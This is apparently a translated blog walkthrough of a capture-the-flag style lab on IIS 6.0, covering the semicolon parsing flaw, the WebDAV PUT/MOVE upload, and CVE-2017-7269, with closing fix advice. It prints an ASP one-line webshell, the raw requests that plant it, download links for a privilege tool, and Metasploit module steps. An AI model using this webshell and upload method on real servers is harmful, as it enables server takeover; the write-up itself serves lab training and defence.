IIS 6.0 vulnerability reproduction

Yes, reheating leftovers

0x01 Background#

Organizing the neglected shooting range, the shooting range itself is very simple, just to share a few good articles

0x02 Vulnerability Introduction#

IIS 6.0 Parsing Vulnerability Introduction#

IIS stands for Internet Information Services, which is a basic internet service provided by Microsoft Corporation based on Microsoft Windows. IIS is currently only compatible with Windows systems and not compatible with other operating systems.

The IIS6 parsing vulnerability is based on the file name. By default, this version will treat file names in the format *.asp;.jpg as Asp parsing. The principle is that the server does not parse the semicolon (;) and its content by default, which is equivalent to truncation.

In addition, in addition to parsing files with the extension .asp as asp, IIS6.x also defaults to parsing files with the extensions .asa, .cdx, and .cer as asp. This can be seen from the website properties->main directory->configuration. They all call asp.dll for parsing.

IIS PUT Vulnerability Introduction#

IIS 6.0 PUT upload vulnerability. The reason is that the IIS Server enables WebDAV in the web service extension. And when the administrator configures permissions, the minimum principle is not followed. IIS is configured with write permissions, including the website root directory.

Also known as IIS write permission vulnerability

0x03 Shooting Range Reproduction#

Problem Description#

Shooting Range Address

Background Introduction:

One day, the security engineer "Mo Zhe" conducted an authorized scan on an intranet and found a Windows 2003 server that had web services enabled. The employees of the owner unit insisted that it was a debugging server, only installed IIS 6.0, and had no code programs. "Mo Zhe" was excited and picked up the tools and started working.

Training objectives

Understand IIS WebDAV security configuration
Understand other HTTP methods outside of HTTP standard methods
Master the method testing and utilization of HTTP PUT
Understand the abnormal parsing vulnerability of IIS6 and its testing methods

Solution direction

Obtain web permissions by uploading program scripts;
PS: Do not rely too much on ready-made tools!

The problem looks like this when opened:

Idea Exploration#

First, check the iis version. You can use the browser plugin Wappalyzer, or you can use the OPTIONS request method to check:

HTTP1.0 defines three request methods: GET, POST, HEAD
HTTP1.1 adds five request methods: OPTIONS, PUT, DELETE, TRACE, CONNECT

curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I

You can see that the version is 6.0

Manual Operation with Burp#

Let's start by manually operating it, not recommended to rely on tools too much

Change GET to OPTIONS to view executable commands:

Then we PUT an ASP webshell, and the file name can be written as 2.txt:

<%eval request("soapffz")%>

Returns 201 Created, created successfully

PS:

Be careful not to just change GET to PUT 2.txt, there is a slash / at the end, remember to delete it

I also spent a long time doing this. Many comments in the comment section of the parsing idea said that no matter how they tried, it didn't work. In the end, I simplified it to writing my own request statement and HOST to succeed.

Then you can use the MOVE command to change 2.txt to 2.asp;.jpg and let the parsing vulnerability parse asp

The core statement is as follows:

MOVE /2.txt HTTP/1.1
Host: ip:port
Destination: /2.asp;.jpg
<%eval request("soapffz")%>

It will return 401 Unauthorized, but this does not affect it. Connect to AntSword directly:

Successfully obtained the flag

Tool Operation#

IIS Put Scaner v1.3 from nosec, the source webpage cannot be found anymore, you can do a simple detection:

You can see that PUT is YES, so it has write permissions. There is also a scanning tool called DotNetScan:

If you want to upload an asp webshell, you can use the famous tool "Guilin Soldier's" iiswrite

The title of the software is: "Utilization of IIS Write Permission / Custom Packet Submission - Guilin Soldier's Work" (currently the default download is detected by Huorong)

After knowing that there are write permissions, let's upload a webshell with the asp extension changed to txt (only txt files can be uploaded)

<%eval request("soapffz")%>

If it returns 201, it means the upload was successful, but at this time the webshell cannot be parsed. Then use the MOVE or COPY method of the tool to change the extension to asp

But this tool has a flaw, it can only test sites on port 80, if the site is not on port 80, it cannot be used:

0x04 Trying to Take Down the Server#

Checking My Permissions#

After completing the shooting range, if I don't continue to work on it, I will waste my 4 shooting range coins, right?

Check the permissions:

I can't even execute whoami, the permissions are very low. According to the reference article: After obtaining the webshell, the virtual terminal refuses to access

The operation is as follows:

Download cmd.exe and iis6.0.exe

https://sudo0m.coding.me/update/webshell/cmd.exe
https://sudo0m.coding.me/update/webshell/iis6.exe

Then upload them to the website root directory. When I uploaded them, AntSword reported a 500 Internal Server error

Uploaded successfully using the webshell:

Set the terminal to cmd.exe: setp c:\inetpub\wwwroot\test.exe

Then you can use iis6.exe to execute commands:

I executed whoami and it is already system permissions, so there is no chance to practice privilege escalation

Attached is the secwiki's Windows privilege escalation GitHub project

CVE-2017-7269#

The use of this exp is not so smooth, refer to the article: The Correct Way to Open IIS6_WebDAV Remote Code Execution Vulnerability (CVE-2017-7269)

msf comes with an exploit module exploit/windows/iis/iis_webdav_scstoragepathfromurl

But it failed in practice:

Reasons for Failure#

There are several reasons for the failure:

Port and Domain Binding Issues#

In the actual environment, the domain name and port bound by IIS may not be the default. For example:

Default binding:

Non-default binding:

The two URLs in the If header information must match the site bound. Otherwise, only a 502 will be received. The so-called matching here means that the port in the URL in the If header must match the port bound by the site, and the domain name in the If header only needs to be consistent with the host header.

If you encounter this situation in my actual combat scenario, it is generally impossible, because I cannot enter the server to set it up

Physical Path#

The first URL in the If header in the POC will be resolved into a physical path, which is C:\Inetpub\wwwroot\ by default, that is, 19. When filling the buffer, the length of the filled characters should be determined based on the length of the physical path, and the length of the physical path + the number of filled characters = 114. In the POC, the length of the filled characters is calculated based on the default physical path (19 bits). When the length of the physical path is not 19 bits, a 500 will be received. (The calculation method of the length of the physical path needs to include the last )

Brute force the length of the physical path and detect the vulnerability tool IIS6_WebDAV_Scanner, but this shooting range cannot detect it:

My shooting range is the default physical path, which is a length of 19, so it is not a physical path problem

Try the exp found online, download exp and put it in the exploit directory of msf:

mv cve-2017-7269.rb cve_2017_7269.rb
(Change - to _ otherwise it cannot be recognized)
mv cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
use exploit/windows/iis/cve_2017_7269
(If the script cannot be found, try executing reload_all and restart msf)

0x05 Vulnerability Fix Suggestions#

IIS remote vulnerabilities mainly include buffer overflow, authentication bypass, denial of service, code execution, and information disclosure vulnerabilities. Local vulnerabilities are mainly distributed in information disclosure and privilege escalation vulnerability categories. Most vulnerability exploitation is difficult, but once successfully exploited by attackers, the impact is not only on the IIS server, but may even be the Windows host running IIS. If the user's host is exploited, the attacker can use this host as a zombie to attack other hosts, servers, or network devices in the intranet, with unimaginable consequences.

Since Microsoft does not consider IIS 6.0 as a vulnerability and has not released patches for IIS 6.0, the vulnerability needs to be fixed by yourself.

Limit the execution permission of the upload directory and do not allow script execution (image from reference article 1)

Do not allow the creation of new directories
Uploaded files need to be renamed (timestamp+random number+.jpg, etc.)

Reference articles:

End of the article.